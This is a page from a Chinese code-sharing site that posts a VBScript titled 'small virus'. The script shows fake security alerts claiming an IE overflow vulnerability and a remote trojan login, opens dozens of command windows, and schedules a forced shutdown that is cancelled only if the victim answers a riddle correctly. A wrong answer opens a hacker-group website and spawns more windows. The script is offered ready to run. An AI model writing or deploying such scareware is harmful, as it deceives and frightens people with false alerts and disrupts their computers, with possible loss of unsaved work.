用户注册



邮箱:

密码:

用户登录


邮箱:

密码:
记住登录一个月忘记密码?

发表随想


还能输入:200字
云代码 - vb代码库

小病毒

2021-08-03 作者:FN举报

[vb]代码库

Set  ob = WScript.CreateObject("Wscript.Shell")
wscript.sleep 10000
ob.popup"系统检测到此计算机存在Windows IE HTML高危溢出漏洞",,"系统医生"
wscript.sleep 100
ob.popup"点击确定进行修复",,"修复"
ob.popup"修复过程中请勿中途退出,否则计算机将自动奔溃!",,"提示"
wscript.sleep 30000
ob.popup"恭喜你,高危漏洞修复成功!",,"修复成功"
wscript.sleep 60000

ob.popup"防火墙已奔溃!",,"危险警告!"
wscript.sleep 10000
ob.popup"系统检测到有远程木马登录!",,"危险警告!"
wscript.sleep 20000
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
ob.run"cmd"
wscript.sleep 10000

ob.popup"接下来会有一个猜谜谜游戏,如果你解开了你的电脑将会恢复正常",,"信息"
ob.popup"你将会有三分钟时间作答,两分钟过后将会给出相应的后果惩罚!祝你好运^_^",,"信息"

ob.run"shutdown -s -t 200"

do
d=int(inputbox("闻不入耳,猜一字(1.(门)2.(萌) 3.(盲) 4.(听) 输入数字"))
if d=1 then
    ob.run"shutdown -a"
    ob.popup"恭喜你回答正确!",,"正确"
    ob.popup"你的电脑已恢复正常!",,"恢复正常"
    exit do
else
    ob.popup"很遗憾,你答错了,正确答案是:1",,"回答错误"
    wscript.sleep 1000*5
    ob.popup"网络已断开连接..."
    ob.Run("http://www.cnhonkerarmy.com/")
    do until i=3
    i = i+1
    msgbox"系统已奔溃!(建议你不要点击此弹窗超过3次)",,"警告"
    wscript.sleep 50000
    ob.run"tree"
    ob.run"tree"
    ob.run"tree"
    ob.run"tree"
    ob.run"tree"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    ob.run"cmd"
    
    loop
    end if
loop

[源代码打包下载]




网友评论    (发表评论)


发表评论:

评论须知:

  • 1、评论每次加2分,每天上限为30;
  • 2、请文明用语,共同创建干净的技术交流环境;
  • 3、若被发现提交非法信息,评论将会被删除,并且给予扣分处理,严重者给予封号处理;
  • 4、请勿发布广告信息或其他无关评论,否则将会删除评论并扣分,严重者给予封号处理。